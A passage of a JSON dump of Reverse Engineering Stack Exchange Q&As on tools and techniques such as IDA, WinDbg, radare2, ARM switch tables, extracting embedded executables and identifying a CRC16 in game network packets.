        "Answer": "<p>Radare2 from remnux is probably 5 years old, use radare2 from github version : <code>git clone https://github.com/radare/radare2 &amp;&amp; cd radare2 &amp;&amp; ./sys/install.sh</code></p>\n"
    },
    {
        "Id": "12026",
        "CreationDate": "2016-02-13T20:49:45.590",
        "Body": "<p><a href=\"https://i.stack.imgur.com/JdO64.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JdO64.png\" alt=\"enter image description here\"></a>when i input .exe file to PEiD v0.95 it gives output like\n<strong><em>\"Borland Delphi 6.0 - 7.0 [Overlay]\"</em></strong></p>\n\n<p>Now i want to retrieve code from .exe file. So how to do that . Can any one give me right path for that.</p>\n",
        "Title": "How to extract code form .exe file having signature Borland Delphi 6.0 - 7.0 [Overlay]",
        "Tags": "|debugging|delphi|exe|",
        "Answer": "<p>I had the same question.. Unfortunatly thre is no tool that can provides you the original source code. But the perfect solution that I found is to use OllyDbg or IdaPro. In this way you can navigate inside the code reading ASM lenguage.</p>\n\n<p>If ASM is a problem for you.. IdaPro can probably help showing a sort of pseudocode, that is not exactly like the original source code, but it can give you an idea about the CodeFlow </p>\n"
    },
    {
        "Id": "12033",
        "CreationDate": "2016-02-15T02:15:17.243",
        "Body": "<p>for some months nearly a year of reversing an app not for cracking but my is to see the difference between the registered version and the unregistered one.\naccording to my research both apps(registered or not) displays a dialog but the unregistered version have two header files in different position, I found that using XORSearch and I thought like there is another executable inside the unregistered app then and I also found some calls like</p>\n\n<pre><code>     005A0B8E    mov        edx,5A0D88; '[my documents]'\n     005A0B93    call       @UStrLAsg\n     005A0B98    lea        edx,[ebp-18]\n     005A0B9B    mov        eax,dword ptr [ebp-4]\n     005A0B9E    call       LowerCase\n     005A0BA3    mov        edx,dword ptr [ebp-18]\n     005A0BA6    mov        eax,dword ptr [ebp-0C]\n     005A0BA9    call       Pos\n     005A0BAE    test       eax,eax\n    &gt;005A0BB0    jle        005A0BE1\n     005A0BB2    lea        edx,[ebp-8]\n     005A0BB5    mov        eax,5\n     005A0BBA    call       005A0A7C\n     005A0BBF    movzx      eax,byte ptr ds:[5A0D78]; 0x3\n     005A0BC6    push       eax\n     005A0BC7    push       ebx\n     005A0BC8    lea        edx,[ebp-1C]\n     005A0BCB    mov        eax,dword ptr [ebp-4]\n     005A0BCE    call       LowerCase\n     005A0BD3    mov        eax,dword ptr [ebp-1C]\n     005A0BD6    mov        ecx,dword ptr [ebp-8]\n     005A0BD9    mov        edx,dword ptr [ebp-0C]\n     005A0BDC    call       StringReplace\n     005A0BE1    lea        eax,[ebp-0C]\n     005A0BE4    mov        edx,5A0DB4; '[all users documents]'\n     005A0BE9    call       @UStrLAsg\n     005A0BEE    lea        edx,[ebp-20]\n     005A0BF1    mov        eax,dword ptr [ebp-4]\n     005A0BF4    call       LowerCase\n     005A0BF9    mov        edx,dword ptr [ebp-20]\n     005A0BFC    mov        eax,dword ptr [ebp-0C]\n     005A0BFF    call       Pos\n     005A0C04    test       eax,eax\n    &gt;005A0C06    jle        005A0C37\n     005A0C08    lea        edx,[ebp-8]\n     005A0C0B    mov        eax,2E\n     005A0C10    call       005A0A7C\n     005A0C15    movzx      eax,byte ptr ds:[5A0D78]; 0x3\n     005A0C1C    push       eax\n     005A0C1D    push       ebx\n     005A0C1E    lea        edx,[ebp-24]\n     005A0C21    mov        eax,dword ptr [ebp-4]\n     005A0C24    call       LowerCase\n     005A0C29    mov        eax,dword ptr [ebp-24]\n     005A0C2C    mov        ecx,dword ptr [ebp-8]\n     005A0C2F    mov        edx,dword ptr [ebp-0C]\n     005A0C32    call       StringReplace\n     005A0C37    lea        eax,[ebp-0C]\n     005A0C3A    mov        edx,5A0DEC; '[program folder]'\n     005A0C3F    call       @UStrLAsg\n     005A0C44    lea        edx,[ebp-28]\n     005A0C47    mov        eax,dword ptr [ebp-4]\n     005A0C4A    call       LowerCase\n     005A0C4F    mov        edx,dword ptr [ebp-28]\n     005A0C52    mov        eax,dword ptr [ebp-0C]\n     005A0C55    call       Pos\n     005A0C5A    test       eax,eax\n    &gt;005A0C5C    jle        005A0CA5\n     005A0C5E    lea        edx,[ebp-30]\n     005A0C61    mov        eax,[005CC76C]; ^Application:TApplication\n     005A0C66    mov        eax,dword ptr [eax]\n     005A0C68    call       TApplication.GetExeName\n     005A0C6D    mov        eax,dword ptr [ebp-30]\n     005A0C70    lea        edx,[ebp-2C]\n     005A0C73    call       ExtractFileDir\n     005A0C78    mov        eax,dword ptr [ebp-2C]\n     005A0C7B    lea        edx,[ebp-8]\n     005A0C7E    call       IncludeTrailingPathDelimiter\n     005A0C83    movzx      eax,byte ptr ds:[5A0D78]; 0x3\n     005A0C8A    push       eax\n     005A0C8B    push       ebx\n     005A0C8C    lea        edx,[ebp-34]\n     005A0C8F    mov        eax,dword ptr [ebp-4]\n     005A0C92    call       LowerCase\n     005A0C97    mov        eax,dword ptr [ebp-34]\n     005A0C9A    mov        ecx,dword ptr [ebp-8]\n     005A0C9D    mov        edx,dword ptr [ebp-0C]\n     005A0CA0    call       StringReplace\n     005A0CA5    lea        eax,[ebp-0C]\n     005A0CA8    mov        edx,5A0E1C; '[desktop]'\n     005A0CAD    call       @UStrLAsg\n     005A0CB2    lea        edx,[ebp-38]\n     005A0CB5    mov        eax,dword ptr [ebp-4]\n     005A0CB8    call       LowerCase\n     005A0CBD    mov        edx,dword ptr [ebp-38]\n     005A0CC0    mov        eax,dword ptr [ebp-0C]\n     005A0CC3    call       Pos\n     005A0CC8    test       eax,eax\n    &gt;005A0CCA    jle        005A0CF8\n     005A0CCC    lea        edx,[ebp-8]\n     005A0CCF    xor        eax,eax\n     005A0CD1    call       005A0A7C\n     005A0CD6    movzx      eax,byte ptr ds:[5A0D78]; 0x3\n     005A0CDD    push       eax\n     005A0CDE    push       ebx\n     005A0CDF    lea        edx,[ebp-3C]\n     005A0CE2    mov        eax,dword ptr [ebp-4]\n     005A0CE5    call       LowerCase\n     005A0CEA    mov        eax,dword ptr [ebp-3C]\n     005A0CED    mov        ecx,dword ptr [ebp-8]\n     005A0CF0    mov        edx,dword ptr [ebp-0C]\n     005A0CF3    call       StringReplace\n     005A0CF8    lea        edx,[ebp-40]\n     005A0CFB    mov        eax,dword ptr [ebx]\n     005A0CFD    call       ExcludeTrailingPathDelimiter\n     005A0D02    mov        edx,dword ptr [ebp-40]\n     005A0D05    mov        eax,ebx\n     005A0D07    call       @UStrAsg\n</code></pre>\n\n<p>is it possible to extract an executable inside another executable an d how?</p>\n",
        "Title": "how to extract a file embedded in an .exe?",
        "Tags": "|disassembly|debugging|delphi|",
        "Answer": "<p>It is possible. Where is the embedded executable located? Based on my experience there are a couple of locations:</p>\n\n<ul>\n<li><strong>Overlay</strong>: If it is in overlay, just select it entirely from the \"MZ\" signature to the end and dump it. Try to open it in the debugger then to see if it is working. More about this can be found <a href=\"https://reverseengineering.stackexchange.com/questions/2014/how-can-one-extract-the-appended-data-of-a-portable-executable\">here</a></li>\n<li><strong>Resource</strong>: If the embedded file is part of the resource, just dump the appropriate resource using some tool like <a href=\"https://www.aldeid.com/wiki/LordPE\" rel=\"nofollow noreferrer\">LordPE</a></li>\n<li><strong>Section</strong>: This is the most trickiest case if you are new to this. Locate the first byte of the embedded PE file (the \"MZ\" signature bytes). From there position at offset 0x150. There you have a 4 byte value which contains the <em>SizeOfImage</em>. The <em>SizeOfImage</em> field tells you how much memory space the PE file takes when loaded in memory. When you get that value, you can select that many bytes and dump them. This way you are sure that the entire embedded file will be dumped.</li>\n</ul>\n\n<p>NOTE: If the original file has overlay, it would be a good idea to copy that overlay to the embedded file once you extract it because it is possible that the dumped file will make use of the overlay data.</p>\n"
    },
    {
        "Id": "12039",
        "CreationDate": "2016-02-15T16:12:19.280",
        "Body": "<p>I'm working on a disassembler for ARM Thumb2 (stripped) binaries. I can already recover the CFG of Basic Blocks (BB) that use direct jumps. My next goal is to handle indirect jumps. I'm currently working on identifying targets of switch statements which I'll discuss based on the following example:</p>\n\n<pre><code>int main(int argc, char** argv){\n  int i = 0;\n  switch (argc) {\n    case 0: i++; break;\n    case 1: i+=2; break;\n    case 3: i+=3; break;\n    case 6: i+=6; break;\n    case 5: i+=8; break;\n    case 7: i+=10; break;\n    default: i+=87; break;\n  }\n  return i;\n}\n</code></pre>\n\n<p>When compiling the above example using: </p>\n\n<blockquote>\n  <p>arm-linux-gnueabihf-gcc-4.8 -o3 -mthumb main.c -o main.out</p>\n</blockquote>\n\n<p>Disassembling <code>main</code> using <code>objdump</code> show that the switch table data words start at <code>0x83d8</code> as can be seen here:</p>\n\n<pre><code>83bc:       b480            push    {r7}\n83be:       b085            sub     sp, #20\n83c0:       af00            add     r7, sp, #0\n83c2:       6078            str     r0, [r7, #4]\n83c4:       6039            str     r1, [r7, #0]\n83c6:       2300            movs    r3, #0\n83c8:       60fb            str     r3, [r7, #12]\n83ca:       687b            ldr     r3, [r7, #4]\n83cc:       2b07            cmp     r3, #7\n83ce:       d82b            bhi.n   8428 &lt;main+0x6c&gt;\n83d0:       a201            add     r2, pc, #4      ; (adr r2, 83d8 &lt;main+0x1c&gt;)\n83d2:       f852 f023       ldr.w   pc, [r2, r3, lsl #2]\n83d6:       bf00            nop\n83d8:       000083f9        .word   0x000083f9\n83dc:       00008401        .word   0x00008401\n83e0:       00008429        .word   0x00008429\n83e4:       00008409        .word   0x00008409\n83e8:       00008429        .word   0x00008429\n83ec:       00008419        .word   0x00008419\n83f0:       00008411        .word   0x00008411\n83f4:       00008421        .word   0x00008421\n83f8:       68fb            ldr     r3, [r7, #12]\n83fa:       3301            adds    r3, #1\n83fc:       60fb            str     r3, [r7, #12]\n83fe:       e017            b.n     8430 &lt;main+0x74&gt;\n8400:       68fb            ldr     r3, [r7, #12]\n8402:       3302            adds    r3, #2\n8404:       60fb            str     r3, [r7, #12]\n8406:       e013            b.n     8430 &lt;main+0x74&gt;\n8408:       68fb            ldr     r3, [r7, #12]\n840a:       3303            adds    r3, #3\n840c:       60fb            str     r3, [r7, #12]\n840e:       e00f            b.n     8430 &lt;main+0x74&gt;\n8410:       68fb            ldr     r3, [r7, #12]\n8412:       3306            adds    r3, #6\n8414:       60fb            str     r3, [r7, #12]\n8416:       e00b            b.n     8430 &lt;main+0x74&gt;\n8418:       68fb            ldr     r3, [r7, #12]\n841a:       3308            adds    r3, #8\n841c:       60fb            str     r3, [r7, #12]\n841e:       e007            b.n     8430 &lt;main+0x74&gt;\n8420:       68fb            ldr     r3, [r7, #12]\n8422:       330a            adds    r3, #10\n8424:       60fb            str     r3, [r7, #12]\n8426:       e003            b.n     8430 &lt;main+0x74&gt;\n8428:       68fb            ldr     r3, [r7, #12]\n842a:       3357            adds    r3, #87 ; 0x57\n842c:       60fb            str     r3, [r7, #12]\n842e:       bf00            nop\n8430:       68fb            ldr     r3, [r7, #12]\n8432:       4618            mov     r0, r3\n8434:       3714            adds    r7, #20\n8436:       46bd            mov     sp, r7\n8438:       f85d 7b04       ldr.w   r7, [sp], #4\n843c:       4770            bx      lr\n843e:       bf00            nop\n</code></pre>\n\n<h1>Observations:</h1>\n\n<ul>\n<li>Data words store the absolute target addresses of the switch table not  offsets. </li>\n<li>The indirect branch is implemented using <code>ldr.w   pc, [base, index, lsl #2]</code>  where base (here r2) stores the address of the beginning of data words and index (here r3) is used to calculate the offset.</li>\n</ul>\n\n<h1>Questions:</h1>\n\n<ol>\n<li>Can the aforementioned observations be generalized? in other words, can I assume the this is the (de-facto) standard way for (most) ARM compilers to implement switch statements?</li>\n<li>Why are the addresses stored in data words odd? I can't see any mode switching between ARM/Thumb here. For example, the default case can be found at <code>0x8428</code> but the corresponding address is stored as <code>0x00008429</code>.</li>\n</ol>\n",
        "Title": "Identify targets of a switch table in ARM",
        "Tags": "|disassembly|arm|thumb2|",
        "Answer": "<p>No, you can't assume that's how most ARM compilers will implement switch statements. For example, here's gcc 5.2.1 on that same code:</p>\n\n<pre><code>cosimo:~ moyix$ arm-none-eabi-gcc-5.2.1 -o3 -mthumb -c x.c -o x.o\ncosimo:~ moyix$ arm-none-eabi-objdump -d x.o\n\nx.o:     file format elf32-littlearm\n\n\nDisassembly of section .text:\n\n00000000 &lt;main&gt;:\n   0:   b580        push    {r7, lr}\n   2:   b084        sub sp, #16\n   4:   af00        add r7, sp, #0\n   6:   6078        str r0, [r7, #4]\n   8:   6039        str r1, [r7, #0]\n   a:   2300        movs    r3, #0\n   c:   60fb        str r3, [r7, #12]\n   e:   687b        ldr r3, [r7, #4]\n  10:   2b07        cmp r3, #7\n  12:   d81d        bhi.n   50 &lt;main+0x50&gt;\n  14:   687b        ldr r3, [r7, #4]\n  16:   009a        lsls    r2, r3, #2\n  18:   4b13        ldr r3, [pc, #76]   ; (68 &lt;main+0x68&gt;)\n  1a:   18d3        adds    r3, r2, r3\n  1c:   681b        ldr r3, [r3, #0]\n  1e:   469f        mov pc, r3\n  20:   68fb        ldr r3, [r7, #12]\n  22:   3301        adds    r3, #1\n  24:   60fb        str r3, [r7, #12]\n  26:   e017        b.n 58 &lt;main+0x58&gt;\n  28:   68fb        ldr r3, [r7, #12]\n  2a:   3302        adds    r3, #2\n  2c:   60fb        str r3, [r7, #12]\n  2e:   e013        b.n 58 &lt;main+0x58&gt;\n  30:   68fb        ldr r3, [r7, #12]\n  32:   3303        adds    r3, #3\n  34:   60fb        str r3, [r7, #12]\n  36:   e00f        b.n 58 &lt;main+0x58&gt;\n  38:   68fb        ldr r3, [r7, #12]\n  3a:   3306        adds    r3, #6\n  3c:   60fb        str r3, [r7, #12]\n  3e:   e00b        b.n 58 &lt;main+0x58&gt;\n  40:   68fb        ldr r3, [r7, #12]\n  42:   3308        adds    r3, #8\n  44:   60fb        str r3, [r7, #12]\n  46:   e007        b.n 58 &lt;main+0x58&gt;\n  48:   68fb        ldr r3, [r7, #12]\n  4a:   330a        adds    r3, #10\n  4c:   60fb        str r3, [r7, #12]\n  4e:   e003        b.n 58 &lt;main+0x58&gt;\n  50:   68fb        ldr r3, [r7, #12]\n  52:   3357        adds    r3, #87 ; 0x57\n  54:   60fb        str r3, [r7, #12]\n  56:   46c0        nop         ; (mov r8, r8)\n  58:   68fb        ldr r3, [r7, #12]\n  5a:   0018        movs    r0, r3\n  5c:   46bd        mov sp, r7\n  5e:   b004        add sp, #16\n  60:   bc80        pop {r7}\n  62:   bc02        pop {r1}\n  64:   4708        bx  r1\n  66:   46c0        nop         ; (mov r8, r8)\n  68:   00000000    .word   0x00000000\n</code></pre>\n\n<p>And there are more complex schemes possible, including things like binary search on the switch value to find the right case. In general you need to do a more complex analysis to recover switch statements. Some academic work exists on this topic, e.g.:</p>\n\n<p><a href=\"http://www.cs.tufts.edu/~nr/cs257/archive/cristina-cifuentes/switch-proof.pdf\" rel=\"nofollow\">http://www.cs.tufts.edu/~nr/cs257/archive/cristina-cifuentes/switch-proof.pdf</a></p>\n\n<p>As to your second question, jumps using <code>ldr pc</code> must explicitly specify the mode. Since you compiled the code with <code>-mthumb</code>, you're in thumb mode, and to stay in thumb mode those addresses need to have bit 0 set to 1 (see note [a] on <a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0489c/Cihjffga.html\" rel=\"nofollow\">this page</a>).</p>\n"
    },
    {
        "Id": "12043",
        "CreationDate": "2016-02-15T17:57:27.777",
        "Body": "<p>Why does this happen and how do I get to that place in file using IDA? I have found a unicode string using WinHEX. Now I would like to see from where is it referenced. I tried to jump on the file offset, but it prints out an error: <code>Command \"JumpFileOffset\" failed</code>. Searching for those bytes as well as for the text value yields no results. It's like IDA somehow missed that part of the file. Looking at IDA's hex-view the file ends with a lot of <code>??</code> bytes, whereas in WinHEX those offsets have all sorts of data: what looks like garbage and a lots of unicode strings. </p>\n\n<p>It seems like there is some trivial knowledge I'm missing.</p>\n",
        "Title": "IDA Pro can't view part of the file, which I can see exists WinHEX",
        "Tags": "|ida|",
        "Answer": "<p>By default, IDA does not load all sections.</p>\n\n<p>To force IDA to load all sections, check the <code>Manual load</code> checkbox when opening the file in IDA:</p>\n\n<p><a href=\"https://i.stack.imgur.com/GreEM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GreEM.png\" alt=\"Manual load\"></a></p>\n\n<p>However, note that this likely won't help you, since it's very unlikely that you'll find a cross-reference from that string back to the code. If the string is in a <code>.rsrc</code> section, look for calls to <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms648042.aspx\" rel=\"nofollow noreferrer\"><code>FindResource()</code></a>.</p>\n"
    },
    {
        "Id": "12053",
        "CreationDate": "2016-02-16T17:29:39.027",
        "Body": "<p>I would like to determine if an instruction a) reads from or b) writes to a memory address.\nI can currently think of two approaches in IDA:</p>\n\n<ol>\n<li><p>Looking for a list of mnemonics (better: particular opcodes?), e.g. for x86 see <a href=\"https://en.wikibooks.org/wiki/X86_Assembly/Data_Transfer\" rel=\"nofollow\">here</a> and manually map each and every one of them to <code>read</code>, <code>write</code>.</p>\n\n<p>This does not seem to be very elegant to me.</p></li>\n<li><p>Work with the <code>idc.GetOpType(ea, n)</code> function and check for the relevant <code>o_*</code> constants (see <a href=\"https://github.com/idapython/src/blob/master/python/idc.py\" rel=\"nofollow\">here</a>), i.e:</p>\n\n<pre><code>o_mem      = idaapi.o_mem       # Direct Memory Reference  (DATA)      addr\no_phrase   = idaapi.o_phrase    # Memory Ref [Base Reg + Index Reg]    phrase\no_displ    = idaapi.o_displ     # Memory Reg [Base Reg + Index Reg + Displacement] phrase+addr\n</code></pre>\n\n<p>Yet, these do not tell me if the instruction reads from or writes to memory.</p></li>\n</ol>\n\n<p>Is there a better way to find out what I want? Ideally a way that works for multiple CPU architectures?</p>\n",
        "Title": "IDA: Generic approach to determine if an instruction reads from, or writes to, memory?",
        "Tags": "|ida|disassembly|assembly|idapython|idapro-sdk|",
        "Answer": "<p>Updated <a href=\"https://reverseengineering.stackexchange.com/a/13519/33592\">@tmr232's answer</a> for IDA 7.4+ using a better syntax for printing strings(f-strings):</p>\n<pre><code>import idaapi\nimport idautils\nimport idc\n\nOPND_WRITE_FLAGS = {\n    0: idaapi.CF_CHG1,\n    1: idaapi.CF_CHG2,\n    2: idaapi.CF_CHG3,\n    3: idaapi.CF_CHG4,\n    4: idaapi.CF_CHG5,\n    5: idaapi.CF_CHG6,\n}\n\nOPND_READ_FLAGS = {\n    0: idaapi.CF_USE1,\n    1: idaapi.CF_USE2,\n    2: idaapi.CF_USE3,\n    3: idaapi.CF_USE4,\n    4: idaapi.CF_USE5,\n    5: idaapi.CF_USE6,\n}\n\ndef print_insn_mem_interaction(ea):\n    insn = idautils.DecodeInstruction(ea)\n\n    # The features are needed for operand flags.\n    feature = insn.get_canon_feature()\n\n    for op in insn.ops:\n        # You always get 6 operands. Some of them are set to `o_void` to indicate\n        # that they are not used.\n        if op.type == idaapi.o_void:\n            break\n\n        # There are 3 types of memory references in IDA. We want all 3.\n        is_mem = op.type in (idaapi.o_mem, idaapi.o_phrase, idaapi.o_displ)\n\n        # Extract per-operand read/write status from the feature.\n        is_write = feature &amp; OPND_WRITE_FLAGS[op.n]\n        is_read = feature &amp; OPND_READ_FLAGS[op.n]\n\n        if not is_mem:\n            # Operand does not access memory.\n            continue\n\n        # Ugly line for the display. Sorry.\n        action = 'memory {}'.format('/'.join(filter(bool, ('read' if is_read else None, 'write' if is_write else None))))\n\n        stringToPrint = f&quot;Operand[{op.n}]&lt;{idc.print_operand(ea, op.n)}&gt; : {action}&quot;\n        print(stringToPrint)\n</code></pre>\n"
    },
    {
        "Id": "12056",
        "CreationDate": "2016-02-16T23:21:38.177",
        "Body": "<p>I have an executable without debug symbols, and I want to get to its' <code>main()</code> function.</p>\n\n<p>What I do is putting breakpoint at <code>$exentry</code> address, but this address of some CRT-initialization. To get to the <code>main()</code> I need to single-step until I see some changes in working application. </p>\n\n<p>Is there any other procedure to skip CRT code?</p>\n",
        "Title": "Find main() function of executable with windbg",
        "Tags": "|windbg|",
        "Answer": "<p>no there is no shortcut loader knows only about the $exentry because it is an embedded pointer in the PeHeader<br>\nfrom there to main is mostly traversed by either single stepping or observing and recognizing known functions by practice and experience<br>\nthe crt code is fairly common and the source for crt is available in crt folder of any visual studio installation  (this will help if you have the binary with debug info </p>\n\n<p>if the binary is stripped or built without debuginfo in release mode crt src wont help you pinpoint the main()</p>\n\n<p>in those case you should be able to recognize certain standard calls that the crt is going to make for example it would normally call <strong>kernel32!GetCommandLineXXXX</strong>  settig a bp on that function brings you closer to the main() another function you can set a breakpoint is \n<strong>kernel32!GetEnvironemStringXXXX</strong> \nand then set hardware breaks on the results \nonce you have hit these breakpoints you can\nyou can use the standard prototype of main \nint main (int argc , char **argv , char* envp) construct to \nidentify your main</p>\n\n<pre><code>:\\&gt;cdb -c \"bp $exentry;g;bp kernel32!GetCommandlineA;g;g poi(@esp)\" hell.exe\n\n0:000&gt; cdb: Reading initial command 'bp $exentry;g;bp kernel32!GetCommandlineA;g;g poi(@esp)'\nBreakpoint 0 hit\nBreakpoint 1 hit\neax=002b36d8 ebx=7ffdf000 ecx=002b47e8 edx=002b4813 esi=00000000 edi=00000000\neip=01314082 esp=0024f9b0 ebp=0024f9e4 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nimage01310000+0x4082:\n01314082 a3c4933201      mov     dword ptr [image01310000+0x193c4 (013293c4)],ea\nx ds:0023:013293c4=00000000\n</code></pre>\n\n<p>the same area and the distance between exec_main and getcommandline function as an image of ollydbg debugging the same executable</p>\n\n<p><a href=\"https://i.stack.imgur.com/eYXZ8.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/eYXZ8.png\" alt=\"enter image description here\"></a></p>\n\n<p>the same src built with debuginfo <strong>/Zi msvc compiler</strong> and snap shotted\n<a href=\"https://i.stack.imgur.com/MvIx3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MvIx3.png\" alt=\"enter image description here\"></a></p>\n\n<p>to get more nearer you can employ the int argc \nyou execute the binary so you know how many arguments you passed \nif you passed no arguments to the binary then int argc will be equal to 1 \nif you passed 8 arguments int argc will be equal to 9 </p>\n\n<p>with that in mind once you reached the breakpoint as enumerated above you can run a loop that enumerates the int argc in stack </p>\n\n<pre><code>bp $exentry\nbp kernel32!GetCommandLineA\ng\ng\ng poi(@esp)\n.while(@$t0= 0) {\npc \n.if ( poi(@esp) == 1) {r $t0 = 1} .else { r $t0 = 0}\n}  \n</code></pre>\n\n<p>result of running the script  notice the address in screen shot above you have just one call to step to the wrapper for main()</p>\n\n<pre><code>cdb -c \"$$&gt;a&lt; findwmain.txt\" hell.exe\n\n0:000&gt; cdb: Reading initial command '$$&gt;a&lt; findwmain.txt'\nBreakpoint 0 hit\nBreakpoint 1 hit\n\neax=00000000 ebx=7ffd3000 ecx=00461228 edx=00461228 esi=00000000 edi=00000000\neip=000a40b5 esp=0034fb5c ebp=0034fb94 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nimage000a0000+0x40b5:\n000a40b5 e8e4420000      call    image000a0000+0x839e (000a839e)\n</code></pre>\n"
    },
    {
        "Id": "12057",
        "CreationDate": "2016-02-17T02:35:54.353",
        "Body": "<p>Currently, I am trying to figure out the packet structure (for encryption) of an old MMO in order to create an emulator. Its official servers shut down 3 years ago and this version is over 11 years old.</p>\n\n<p>After loading up the original server (it takes up ~3gb of RAM just to load and eats quite a lot of CPU, so that's why I want to emulate it) with IDA, I found that the polynomial is 0x8005 (32773) and that it was \"Crc16\". To further back that up, I found a series of bytes in memory when it's loaded:</p>\n\n<pre><code>00 00 [05 80] 0F 80 0A 00 1B 80 1E 00 14 00 11 80 33 80 36 00 3C 00 39 80 28 00\n</code></pre>\n\n<p>And, from IDA (pInitial is always 0 for some reason):</p>\n\n<pre><code>FnlApi::CCrc16::SetPolynomial(&amp;this-&gt;__mCrc, 32773);\n//////////////////////////////\nv5 = FnlApi::CCrc16::CalcCrc(&amp;this-&gt;__mCrc, pPack + 2, pLng - 2, 0);\n//////////////////////////////\nint result; // eax@1\nconst char *v5; // edx@1\n__int16 v6; // bx@2\nunsigned __int16 v7; // bx@2\nbool v8; // zf@2\n\nLOWORD(result) = pInitial;\nv5 = pMsg;\ndo\n{\n    LOBYTE(v6) = 0;\n    HIBYTE(v6) = result;\n    v7 = this-&gt;__mTbl[(unsigned __int8)(*v5++ ^ BYTE1(result))] ^ v6;\n    v8 = pLng-- == 1;\n    result = v7;\n}\nwhile ( !v8 );\nreturn result;\n</code></pre>\n\n<p>This is a packet from the server that isn't encrypted.</p>\n\n<pre><code>[1B 00] [00] [00 F2 2C 00 00 00] [31 32 37 2E 30 2E 30 2E 31 00 00 00 20 01 00 00 16 27]\n</code></pre>\n\n<p>As I understand, this is the packet \"structure\":</p>\n\n<pre><code>[Packet ID] [Key (00?)] [CRC, padding?] [Actual packet]\n</code></pre>\n\n<p>This is a packet from the server that is encrypted.</p>\n\n<pre><code>[2F 00] [74] [38 ED 2C 00 00 01] [93 85 AE 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A F3 3C EF EF F9 AE 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 9A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00]\n</code></pre>\n\n<p>Decrypted, this is (I think):</p>\n\n<pre><code>[2F 00] [74] [38 ED 2C 00 00 01] [75 69 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 61 73 73 77 64 00 00 00 00 00 00 00 00 00 00 00 00 00 CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC]\n</code></pre>\n\n<p>I think both of the packets's structure is:</p>\n\n<pre><code>[Packet ID] [Key] [CRC, padding?] [Actual packet]\n</code></pre>\n\n<p>Another packet that is encrypted with the same structure:</p>\n\n<pre><code>[18 00] [42] [56 D6 07 00 00 01] [2E 75 3D D2 75 03 CC 03 CD CC 03 8E 2D CC B1 6B 9F DB 6B D1 DB 6B 4F 4F D3 73 78 C6 AA 4B DF 63 1E 4A 18 C6 23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00]\n</code></pre>\n\n<p>Decrypted:</p>\n\n<pre><code>[18 00] [42] [56 D6 07 00 00 01] [63 74 65 73 74 00 01 00 08 01 00 04 02 01 03 C7 0F AC C7 C4 AC C7 A3 A3 E7 5C 7F 05 CA 6D A0 77 46 64 F8 05 9E 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F]\n</code></pre>\n\n<p>I apologize for this being a mess, but I've been at it for days with no actual progress.</p>\n\n<p>Edit:</p>\n\n<p>My current class (with decryption working) is here: <a href=\"http://pastebin.com/7e05AJLa\" rel=\"nofollow\">http://pastebin.com/7e05AJLa</a></p>\n",
        "Title": "Figuring out the CRC part of a packet",
        "Tags": "|ida|encryption|crc|packet|",
        "Answer": "<p>The CRC is, as suspected, a fairly standard CRC16 with the polynomial 0x8005 (reflected: 0xA001). The only online calculators that I could find for this are:</p>\n\n<ul>\n<li><a href=\"http://www.bobtech.ro/tutoriale/porturi-si-interfete/51-crc-calculator\" rel=\"nofollow\">BobTech's</a> (clear the 'reverse data bytes' and 'reverse CRC' check boxes)</li>\n<li><a href=\"https://ghsi.de/CRC/index.php?Polynom=11000000000000101&amp;Message=31+32+33+34+35+36+37+38+39\" rel=\"nofollow\">GHS Infotronic's</a> (the link has polynomial and message \"123456789\" already inserted)</li>\n</ul>\n\n<p>The latter is particularly convenient for taking parts of the packet hex dumps, CRCing them, musing upon the results and then changing some bits before repeating the experiment...</p>\n\n<p>Except for the polynomial - 0x8005 instead of 0x1021 - all the specifics are the same as for CRC-CCITT (XModem). If you plug in the 0x1021 poly then you can use a multitude of online checkers for verifying your own implementation, like <a href=\"http://www.lammertbies.nl/comm/info/crc-calculation.html\" rel=\"nofollow\">Lammert Bies's</a>, or indeed FoxPro's builtin CRC function (with 0x10000 as seed to force 0 as initial value, e.g. <code>sys(2007, \"123456789\", 0x10000)</code>). </p>\n\n<p>Conversely, there are plenty of ready-made implementations where you only need to substitute 0x8005 for 0x1021. I've also found a <a href=\"https://e2e.ti.com/support/wireless_connectivity/proprietary_sub_1_ghz_simpliciti/f/156/t/31713\" rel=\"nofollow\">table-based implementation in C</a> that already uses 0x8005.</p>\n\n<p>The code in the disassembly is essentially the same as that in chapter 10 of the CRC bible, a.k.a. Ross Williams' <a href=\"http://www.ross.net/crc/download/crc_v3.txt\" rel=\"nofollow\">Painless Guide to CRC Error Detection Algorithms</a> (<a href=\"http://www.repairfaq.org/filipg/LINK/F_crc_v3.html\" rel=\"nofollow\">HTML version here</a>):</p>\n\n<pre><code>r=0; \nwhile (len--) \n    r = (r&lt;&lt;8) ^ t[(r &gt;&gt; 8) ^ *p++];\n</code></pre>\n\n<p>This is readily apparent if you compare this to my transcription of the disassembly (which I did in C#, because I'm learning it ATM):</p>\n\n<pre><code>static ushort crc16 (byte[] pMsg, ushort pInitial = 0)\n{\n    uint eax = pInitial;\n\n    for (int i = 0; i &lt; pMsg.Length; ++i)  // EDX == pMsg + i\n    {\n        uint cl = ((eax &gt;&gt; 8) &amp; 0xFF) ^ pMsg[i];\n        uint bx = (eax &amp; 0xFF) &lt;&lt; 8;\n\n        eax = bx ^ lookup[cl];\n    }\n\n    return (ushort)eax;\n}\n</code></pre>\n\n<p>I've shown an intermediate rendition that still has the registers as value names, which makes it easily to correlate to the disassembly. 